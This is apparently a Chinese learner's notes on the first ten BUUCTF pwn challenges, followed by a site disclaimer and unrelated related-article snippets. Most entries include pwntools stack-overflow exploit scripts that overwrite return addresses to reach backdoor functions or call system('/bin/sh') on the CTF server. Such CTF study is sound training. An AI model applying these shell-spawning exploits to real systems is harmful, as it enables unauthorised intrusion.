BUUCTF PWN刷题笔记(1-9)

才知道,由于栈对齐,直接动调看栈估计会错,用cyclic看

1.test_your_nc

NC连接一下,这个网站似乎直接访问是不中的,怀疑是没开启web的端口。NC链接输入cat flag就OK了,应该只是让我这样的小菜鸟培养自信用的。

2.rip

checksec后发现可以进行栈溢出操作。运行一下看看。直接就是让输入东西。进IDA看看。

果然有后门函数。显然是ret2text类型,直接进行溢出即可。分析栈结构易知首先要溢出15+8个字节才可以到rip地方。

这是动调结果。看到-008那个地方村的实际上是字符串的结尾应该。看出其中距离80-70=16.但是实际上不应该是s占15吗,我也是百思不得其解。回想起课程来看,应该是GDB本身的地址可能有时候有误差,还是要结合IDA来看。

由于不擅长动调拿地址,这里就不献丑了,再学习学习吧。看IDA是可以直接看出溢出的。

exp:

这里需要考虑站平衡,看有的人说是BUUCTF虚拟机的规定。我现在简单的理解就是不破坏栈帧结构,即不要执行push之类的操作改变栈帧。

from pwn import *p=remote('node5.buuoj.cn',27494)payload=b'A'*(23)+p64(0x0401186)p.sendline(payload)p.interactive()

 3.warmup_csaw_2016

可以进行栈溢出,而且还是栈可执行!

看到后门函数,而且main函数执行完毕自动执行gets函数。现在就很明确了。

这次挑战用动调拿到偏移量。看到0x61是我们输入的a的ASCII码,结合rax常用来储存这类信息,很明确最后的gets函数输入的内容就在这里了。那么我们就可以进行栈溢出,偏移量首先+64+8,最后溢出地址考虑一下站平衡即可。

exp:

from pwn import *p=remote('node5.buuoj.cn',27676)payload=b'A'*(64+8)+p64(0x00400611)p.sendline(payload)p.interactive()

4.ciscn_2019_n_1

看到了别人的博客,决定先解决这一道题。由于对动调还不熟练,所以我在IDA里面看了栈结构,同时注意到没有开启任何保护,发现可以进行栈溢出,应该是修改指定变量值为要求的即可。这里要注意一点,也是我出错的地方,float类型不可以直接跟字符串,需要转为16进制后用p64这个函数进行解决。

以下是常规思路(sendline会发送一个回车,表示输出结束)


from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()

还有一种方法,覆盖EIP的值,直接跳转到bin/sh,看看可以不。看图,我们需要溢出到r,显然需要将s也覆盖了。看灰色地址,8是r的开始,所以我们要覆盖上面的0x30和下面的8.返回地址恰好就是给system函数给参数的,见图二

exp:


from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*56+p64(0x04006BE)
p.sendline(payload)
p.interactive()

5.pwn1_sctf_2016 

还是先检查保护发现可以栈溢出。

调用了这一坨函数,看着很差劲。 让豆包逐行解释吧。最后也是勉强看懂一点点,这个里面的代码豆包说也不符合规范什么的,勉强着看吧。

std::allocator 是 C++ 标准库中的一个模板类,定义在 <memory> 头文件中,主要用于为容器(如 std::vectorstd::list 等)或其他需要动态内存分配的对象管理内存的分配和释放。

这题也有后门函数,显然是用栈溢出了,关键就是看fgets这个函数。我们IDA看栈帧,大胆推测只要一直往下溢出就行,看空间一共是0x3c,然后传入返回地址。看样子这样做没问题,试试吧。

从运行结果看,edata确实是缓冲区,但是估计地址计算出错,动调看看即可。

rax这里存的是字符串。看样子字符串距离ebp60,ebp自己是4,我们再次修改脚本运行看。还是错误的。估计还是拿错地址了,我们继续动调一次。这次让他多运行几行代码。 

看样子变化还是不多大,仔细想一想,难道是地址找错了。 看一下其他人的WP吧。

从题海中入门(五)pwn1_sctf_2016 - FreeBuf网络安全行业门户

(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客园

其实,replace函数实现了将I替换为you,这里可以后期动调得到。实际上,fgets函数已经限制了读取的字节数,这可不像gets函数那样危险!

接下来,我们开始编写脚本。一个I会换成3个字节,60个字节除以3,就是20,也就是0x14!对于函数,还是看不太透彻,还需要多多练习。

exp:

from pwn import *p=remote('node5.buuoj.cn',29365)payload=b'I'*(0x14)+b'AAAA'+p32(0x08048F13)p.sendline(payload)p.interactive()

6.jarvisoj_level0 

咋一看感觉很简单呀,这脆弱函数比上面的第五题容易多了。

exp:

from pwn import *p=remote('node5.buuoj.cn',29231)payload=b'I'*(128+8)+p64(0x040059A)p.sendline(payload)p.interactive()

7.[第五空间2019 决赛]PWN5

首先分析main函数。

注意看,解锁/bin/sh必须保证4字节的数是对上号的。但是这四字节的数字我们并不知道,也不可能在人家服务器上动调获得,那怎么办嘛?

参考c929_bt大佬的博客(BUU:[第五空间2019 决赛]PWN5_buuctf 第五空间2019 pwn5-CSDN博客发现,原来可以利用栈溢出覆盖这串数字。这样就可以为我们所操控了。

恰好看栈结构,nptr在buf上面,所以我们溢出后也不影响nptr的输入,真是美滋滋。推测4字节的Var_c是校验值。整体思路是首先填充0x70-0xd个垃圾数据给buf,然后填充4个有效字符给校验值,最后输入对应的校验值就可以了。现在开始写脚本

首次尝试发现不对,那说明我们的思路错误了。可能那个地方不是校验值。

实际上有栈保护,无法溢出。

其实这里要用格式化字符串漏洞,详见c929_bt大佬的博客BUU:[第五空间2019 决赛]PWN5_buuctf 第五空间2019 pwn5-CSDN博客  

8. jarvisoj_level2

估计也可以栈溢出,进去看看。

这道题有意思,只给了system函数,参数却不是/bin/sh,所以我们应该需要使用函数参数入栈的知识。ROPgadget我这边扫不出来东西,那估计不是ROP。想想咋给/bin/sh入栈。。。

没思路了,求救WP。以及参考了hello-ctf。发现其实32位ROP不需要pop链条。

BUUCTF—jarvisoj_level2 - 予柒 - 博客园

WP:在我的攻防世界BLOG里面有原题。

from pwn import *
p=remote('node5.buuoj.cn',28501)
sys=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+0x4)+p32(sys)+b'aaaa'+p32(binsh)
p.sendline(payload)
p.interactive()

9.ciscn_2019_n_8 

思路同第四题。


from pwn import *
p=remote('node5.buuoj.cn',29557)
payload=b'A'*13*4+p64(0x11)
p.sendline(payload)
p.interactive()

10.bjdctf_2020_babystack

看样子是栈溢出。 分析下列代码可知,read会读取我们输入的指定字节的数据,这点就是突破,而程序已经有一个backdoor函数,只需要ret2text即可。发现IDA给的偏移量有一点问题,还是动调。

exp:

from pwn import *
p=remote('node5.buuoj.cn',28997)
addr=0x4006EA
payload=b'a'*24+p64(addr)
p.sendline('100')
p.sendline(payload)
p.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79969.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#处理网络传输中不完整的数据流

1、背景 在读取byte数组的场景&#xff08;例如&#xff1a;读取文件、网络传输数据&#xff09;中&#xff0c;特别是网络传输的场景中&#xff0c;非常有可能接收了不完整的byte数组&#xff0c;在将byte数组转换时&#xff0c;因字符的缺失/增多&#xff0c;转为乱码。如下…

PostgreSQL 用户资源管理

PostgreSQL 用户资源管理 PostgreSQL 提供了多种机制来管理和限制用户对数据库资源的使用&#xff0c;以下是全面的资源管理方法&#xff1a; 1 连接限制 1.1 限制最大连接数 -- 在 postgresql.conf 中设置 max_connections 100 -- 全局最大连接数-- 为特定用户设置连接限…

新书速览|OpenCV计算机视觉开发实践:基于Qt C++

《OpenCV计算机视觉开发实践:基于Qt C》 本书内容 OpenCV是计算机视觉领域的开发者必须掌握的技术。《OpenCV计算机视觉开发实践:基于Qt C》基于 OpenCV 4.10与Qt C进行编写&#xff0c;全面系统地介绍OpenCV的使用及实战案例&#xff0c;并配套提供全书示例源码、PPT课件与作…

【上位机——MFC】消息映射机制

消息映射机制 Window消息分类消息映射机制的使用代码示例 MFC框架利用消息映射机制把消息、命令与它们的处理函数映射起来。具体实现方法是在每个能接收和处理消息的类中&#xff0c;定义一个消息和消息函数指针对照表&#xff0c;即消息映射表。 在不重写WindowProc虚函数的大…

docker学习笔记2-最佳实践

一、在容器中启动mysql的最佳实践 &#xff08;一&#xff09;查找目录 1、mysql的配置文件路径 /etc/mysql/conf.d 2、mysql的数据目录 /var/lib/mysql 3、环境变量 4、端口 mysql的默认端口3306。 &#xff08;二&#xff09;启动命令 docker run -d -p 3306:3306 …

Vue3核心源码解析

/packages/complier-core 定位​​&#xff1a;​​编译时核心​​&#xff0c;处理 Vue 模板的编译逻辑。​​核心功能​​&#xff1a; ​​模板解析​​&#xff1a;将 .vue 文件的模板语法&#xff08;HTML-like&#xff09;解析为 ​​抽象语法树 (AST)​​。​​转换优化…

n8n 中文系列教程_05.如何在本机部署/安装 n8n(详细图文教程)

n8n 是一款强大的开源工作流自动化工具&#xff0c;可帮助你连接各类应用与服务&#xff0c;实现自动化任务。如果你想快速体验 n8n 的功能&#xff0c;本机部署是最简单的方式。本教程将手把手指导你在 Windows 或 MacOS 上通过 Docker 轻松安装和运行 n8n&#xff0c;无需服务…

【python】pyCharm常用快捷键使用-(2)

pyCharm常用快捷键使用 快速导入任意类 【CTRLALTSPACE】代码补全【CTRLSHIFTENTER】代码快速修正【ALTENTER】代码调试快捷键

Docker 镜像、容器和 Docker Compose的区别

前言&#xff1a;Docker 的镜像、容器和 Docker Compose 是容器化技术的核心组件&#xff0c;以下是对它们的详细解析及使用场景说明。 ​​1、Docker 镜像&#xff08;Image&#xff09;​​ ​​定义​​&#xff1a; 镜像是只读模板&#xff0c;包含运行应用程序所需的代码、…

算法——背包问题(分类)

背包问题&#xff08;Knapsack Problem&#xff09;是一类经典的组合优化问题&#xff0c;广泛应用于资源分配、投资决策、货物装载等领域。根据约束条件和问题设定的不同&#xff0c;背包问题主要分为以下几种类型&#xff1a; 1. 0-1 背包问题&#xff08;0-1 Knapsack Probl…

多路由器通过RIP动态路由实现通讯(单臂路由)

多路由器通过RIP动态路由实现通讯&#xff08;单臂路由&#xff09; R1(开启端口并配置IP) Router>en Router#conf t Router(config)#int g0/0 Router(config-if)#no shu Router(config-if)#no shutdown Router(config-if)#ip add 192.168.10.254 255.255.255.0 Router(c…

从底层设计原理分析并理解SQL 的执行顺序

​一、执行顺序的底层设计原理​​ ​​1. 数据源的确定与连接&#xff08;FROM → ON → JOIN&#xff09;​​ ​​FROM​​&#xff1a;数据库首先需要确定数据的物理来源&#xff0c;从磁盘加载表或子查询的原始数据。此时尚未应用任何筛选&#xff0c;仅读取元数据&#…

游戏引擎学习第237天:使用 OpenGL 显示图像

win32_game.cpp: 禁用 PFD_DOUBLEBUFFER 我们正在处理一个新的开发阶段&#xff0c;目标是在使用 OpenGL 渲染的同时能正常通过 OBS 进行直播。昨天我们已经尝试了一整天来解决这个问题&#xff0c;希望能找到一种方式让 OBS 能正确地捕捉到 OpenGL 的窗口画面。虽然我们不确定…

(二)mac中Grafana监控Linux上的MySQL(Mysqld_exporter)

框架&#xff1a;GrafanaPrometheusMysqld_exporter 一、监控查看端安装 Grafana安装-CSDN博客 普罗米修斯Prometheus监控安装&#xff08;mac&#xff09;-CSDN博客 1.启动Grafana服务 brew services start grafana 打开浏览器输入http://localhost:3000进入grafana登录…

GitHub 趋势日报 (2025年04月17日)

本日报由 TrendForge 系统生成 https://trendforge.devlive.org/ &#x1f4c8; 今日整体趋势 Top 10 排名项目名称项目描述今日获星总星数语言1Anduin2017/HowToCook程序员在家做饭方法指南。Programmer’s guide about how to cook at home (Simplified Chinese onl…⭐ 224…

(一)mac中Grafana监控Linux上的CPU等(Node_exporter 安装使用)

框架&#xff1a;GrafanaPrometheusNode_exporter 机器状态监控(监控服务器CPU,硬盘&#xff0c;网络等状态) Node_exporter安装在被测服务器上&#xff0c;启动服务 各步骤的IP地址要换为被测服务器的IP地址Prometheus.yml的 targets值网页访问的ip部分grafana添加数据源的…

java IO/NIO/AIO

(✪▽✪)曼波~~~~&#xff01;让曼波用最可爱的赛马娘方式给你讲解吧&#xff01;(⁄ ⁄•⁄ω⁄•⁄ ⁄) &#x1f3a0;曼波思维导图大冲刺&#xff08;先看框架再看细节哦&#xff09;&#xff1a; &#x1f4da; 解释 Java 中 IO、NIO、AIO 的区别和适用场景&#xff1a; …

Silverlight发展历程(微软2021年已经停止支持Silverlight 5)

文章目录 Microsoft Silverlight 发展历程引言起源与背景&#xff08;2006-2007&#xff09;互联网技术格局与微软的挑战WPF/E 项目的启动 Silverlight 1.0 的诞生&#xff08;2007&#xff09;正式命名与首次发布初步的市场定位 Silverlight 2.0&#xff1a;真正的突破&#x…

【大数据、数据开发与数据分析面试题汇总(含答案)】

在大数据、数据开发与数据分析领域的面试中&#xff0c;扎实掌握各类知识点至关重要。以下是精心整理的面试题&#xff0c;涵盖单选题和多选题&#xff0c;助你备考一臂之力。 试题目录 大数据、数据开发与数据分析高频面试题解析1. 数据仓库分层架构设计2. 维度建模与范式建模…

Docker部署禅道21.6开源版本

将数据库相关环境变量分开&#xff0c;增加注释或空格使得命令更易读。 如果你的 MySQL 主机、端口等配置没有变化&#xff0c;应该确保这些信息是安全的&#xff0c;并考虑使用 Docker secrets 或环境变量配置来避免直接暴露敏感信息。 docker run -d -it --privilegedtrue …